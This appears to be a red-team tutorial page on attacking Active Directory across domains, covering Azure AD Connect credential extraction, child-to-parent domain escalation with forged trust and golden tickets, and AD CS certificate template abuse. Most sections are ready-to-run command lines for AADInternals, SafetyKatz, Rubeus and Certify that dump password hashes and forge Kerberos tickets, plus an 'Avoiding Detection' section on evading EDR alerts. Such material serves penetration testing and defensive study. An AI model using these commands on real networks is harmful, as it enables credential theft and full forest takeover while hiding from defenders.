Cross Domain Attacks

This section covers techniques to escalate from a child domain to the parent domain.

Attacking Azure AD Integration

Azure AD is a popular method to extend identity management from on-premises AD identity management to Microsoft Azure services. Enterprises often sync their on-prem AD identities to Azure AD via Azure AD Connect, which supports the following methods:

• Password Hash Synchronization (PHS): Syncs user password hashes from on-prem AD to Azure AD.
• Pass-Through Authentication (PTA): Validates credentials on-prem without syncing hashes.
• Federation: Uses an external identity provider for authentication.

Azure AD Connect runs on an on-premises machine and requires a high-privilege account with access to both on-prem AD and Azure AD. Which makes it a prime target for attackers.

In this section, we will focus on exploiting PHS. During the Azure AD Connect setup, a special account named MSOL_<random_string> is created in the on-prem AD with replication rights (DCSync) on the domain. This account is the key to the attack.

Enumeration

You can find out the machine where Azure AD Connect is installed by looking at the description of the MSOL_ account.

PowerView

Get-DomainUser -Identity "MSOL_*" -Domain example.local

ActiveDirectory Module

Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Server example.local -Properties * | select SamAccountName,Description | fl

Example output:

SamAccountName : MSOL_15fb74d0228e
Description : Account created by Microsoft Azure Active Directory Connect with installation identifier 24fc75d0227d4957868d5c4ae0677942 running on computer US-ADCONNECT configured to synchronize to tenant example.onmicrosoft.com. This account must have directory replication permissions in the local Active Directory and write permission on certain attributes to enable Hybrid Deployment.

The description field reveals the machine name where Azure AD Connect is installed. In this case, it’s US-ADCONNECT.

Abuse

If you gain administrative access to the Azure AD Connect machine, you can extract the MSOL_ account’s credentials in clear-text. Since this account has DCSync privileges, it can dump password hashes for all users in the domain.

Use the AADInternals module to extract the credentials of the MSOL_ account:

Import-Module C:\Tools\AADInternals.psd1
Get-AADIntSyncCredentials

Using the credentials, perform a DCSync attack to extract password hashes:

runas /user:example.local\MSOL_15fb74d0228e /netonly cmd
SafetyKatz.exe '"lsadump::dcsync /user:example\administrator /domain:example.local

Intra-Forest Privilege Escalation (Child to Parent Domain)

In Active Directory, every security principal (user, group, computer) is assigned a unique SID (Security Identifier). When an object is migrated between domains, it receives a new SID, and the old one is preserved in the SIDHistory attribute so that access to resources in the source domain is not lost.

This mechanism can be abused as a means of persistence or privilege escalation: adding the SID of a privileged account or group to the SID-History attribute of a controlled account grants rights associated with account/group of which the SID is added.

There are two main ways to abuse SID History for privilege escalation:

• Using the Trust Key
• krbtgt hash of the child

This is especially effective when you've compromised a child domain controller and want to escalate to the parent domain (or forest root).

Authentication Flow

The diagram above illustrates the Kerberos authentication flow where a child domain (us.example.local) has an implicit trust with the forest root domain (example.local). When a client in the child domain wants to access a service hosted in the root domain, the following process happens:

1. The client on behalf of the user requests a TGT from the child domain DC.
2. The DC responds with a TGT that the client can use to request a TGS for the service it wants to access.
3. The client presents the TGT to request a TGS for a service located in the parent domain. The child domain DC inspects the SPN and sees that the target service is outside its realm (us.example.local) and resides in the parent domain. As a result, it cannot issue a TGS for it.
4. Instead, the child DC responds with an inter-realm TGT, also known as a referral ticket. This ticket is encrypted using the Trust Key shared with the parent domain and instructs the client to contact the appropriate DC in the parent domain to obtain a TGS for the target service.
5. The client uses the inter-realm TGT to request a TGS from the parent domain DC. The only check the parent DC performs is whether it can successfully decrypt the inter-realm TGT.
6. The parent DC issues a TGS for the requested service and sends it back to the client.
7. The client can now use the TGS to access the service in the parent domain.

Using Trust Key

As mentioned earlier in step 4, the inter-realm TGT is encrypted using a shared key known as the Trust Key. This key is used to establish trust between the child and parent domain. If this key is extracted from the child domain DC, it is possible to access the parent domain DC.

Below is a short overview of the steps to abuse the domain trust key for privilege escalation:

1. Extract the domain trust key from the compromised child domain DC.
2. Forge an inter-realm TGT using the trust key and the SID of the Enterprise Admins group.
3. Request a TGS ticket for the parent domain.
4. Use the TGS to access the parent domain DC.

Use a tool like SafetyKatz (a safer variant of Mimikatz) to dump the trust key from the child domain DC:

SafetyKatz.exe "lsadump::trust /patch"

Identify the SID of the Enterprise Admins group using the PowerView module for example:

PowerView

Get-DomainGroup -Domain example.local -Name "Enterprise Admins"

With the trust key and the Enterprise Admins SID, use Rubeus to forge an inter-realm TGT:

Rubeus.exe silver /user:Administrator /ldap /service:krbtgt/EXAMPLE.LOCAL /rc4:<trust_key> /sids:<SID> /nowrap

Use the forged TGT to request a TGS for a service in the parent domain, then pass the ticket. Make sure to replace <ticket> with the base64-encoded ticket from the previous step.

Rubeus.exe asktgs /service:HTTP/exampledc.EXAMPLE.LOCAL /dc:example-dc.example.LOCAL /ptt /ticket:<ticket>

With the TGS injected into the current session, you can access the parent domain DC using winrs:

winrs -r example-dc.EXAMPLE.LOCAL cmd.exe

Using krbtgt hash

Instead of forging a inter-realm TGT and then requesting a TGS for every service you want to access. You can simply inject the SID of the Enterprise Admins group into a golden ticket for the child domain. This way, you can access any service in the parent domain without having to request a TGS for each one.

Get the NTLM hash of the krbtgt account in the child domain.

SafetyKatz.exe "lsadump::dcsync /user:krbtgt"

Identify the SID of the Enterprise Admins group and domain SID

PowerView

Get-DomainGroup -Domain example.local -Name "Enterprise Admins"
Get-DomainSID

With the krbtgt NTLM hash, the domain SID, and the Enterprise Admins SID, you can create a golden ticket for the child domain and inject it into the current session:

Rubeus.exe golden /user:Administrator /id:500 /domain:us.example.local /sid:<domain_sid> /sids:<ea_admins_sid> /rc4:<krbtgt_ntlm> /ptt

Since the SID of the Enterprise Admins group has been injected into the golden ticket, you can now access the parent domain DC:

Enter-PSSession example-dc.example.local

Avoiding Detection

The methods mentioned above can be detected EDR solutions. An Administrator of the child domain loggining into the parent domain DC will raise red flags (Event ID 4672).

To reduce the likelihood of detection, it's recommended to avoid using the Administrator account directly. Instead, impersonate the child domain's Domain Controller machine account. When crafting the golden ticket, rather than including the SID for the Enterprise Admins group, include the SID for the Domain Controllers group (516) and the well-known Enterprise Domain Controllers group (S-1-5-9).

Rubeus.exe golden /user:us-dc$ /id:1000 /domain:us.example.local /sid:<domain_sid> /groups:513 /sids:S-1-5-21-<dc_sid>-516,S-1-5-9 /rc4:<krbtgt_ntlm> /dc:us-dc.us.example.local /ptt

With the golden ticket injected, you can perform a DCSync attack to extract the krbtgt hash from the parent domain DC:

SafetyKatz.exe "lsadump::dcsync /user:example\krbtgt /domain:example.local"

References

https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-security-identifiers
https://www.thehacker.recipes/ad/persistence/sid-history

Active Directory Certificate Services (AD CS)

Active Directory Certificate Services (AD CS) is Microsoft’s Public Key Infrastructure (PKI) implementation for Active Directory environments. It provides capabilities like user and machine authentication, document/email signing, file system encryption, and more.

It can be abused to escalate privileges to Domain Admin or Enterprise Admin. There are various ways of abusing ADCS. Misconfigurations in AD CS can be exploited through various attack vectors, such as ESC1–ESC8. For an in-depth understanding, refer to the SpecterOps research paper: Certified Pre-Owned.

Common requirements / misconfigurations for abusing AD CS:

• Certificate Authority (CA) grants enrollment rights to low-privileged users.
• Manager approval is disabled.
• Authorization signatures are not required.
• Vulnerable certificate templates allow enrollment by low-privileged users.

Enumeration

The Certify tool can be used to enumerate and abuse misconfigurations in AD CS. It can be used to enumerate the certificate templates, find vulnerable templates, and request certificates.

Enumerate Certificate Authorities (CAs):

Certify.exe cas

List all certificate templates:

Certify.exe find

Identify vulnerable templates:

Certify.exe find /vulnerable

Abuse

Let's say we have a scenerio where you have compromised an user in the us.example.com domain and aim to escalate to Domain Admin in the example.local parent domain. The user has enrollment rights to a template called VulnerableTemplate, which has the ENROLLEE_SUPPLIES_SUBJECT flag (ESC1). This allows the enrollee to specify any subject name, meaning you can request a certificate for any user in the domain.

Using the Certify tool, you can request a certificate for the Administrator account:

Certify.exe request /ca:ExampleDC.example.local\EXAMPLE-DC-CA /template:VulnerableTemplate /altname:Administrator

This will display the certificate, copy the certificate to a file and convert it to a PFX file:

openssl.exe pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

Finally, use the certificate to request a TGT for the Administrator account in the example.local domain:

Rubeus.exe asktgt /user:example.local\Administrator /dc:example-dc.example.local /certificate:cert.pfx /nowrap /ptt

This will request a TGT for the Administrator account and pass the ticket to the current session. You can now acccess the forest root DC using winrs for example:

winrs -r:example-dc.example.local cmd.exe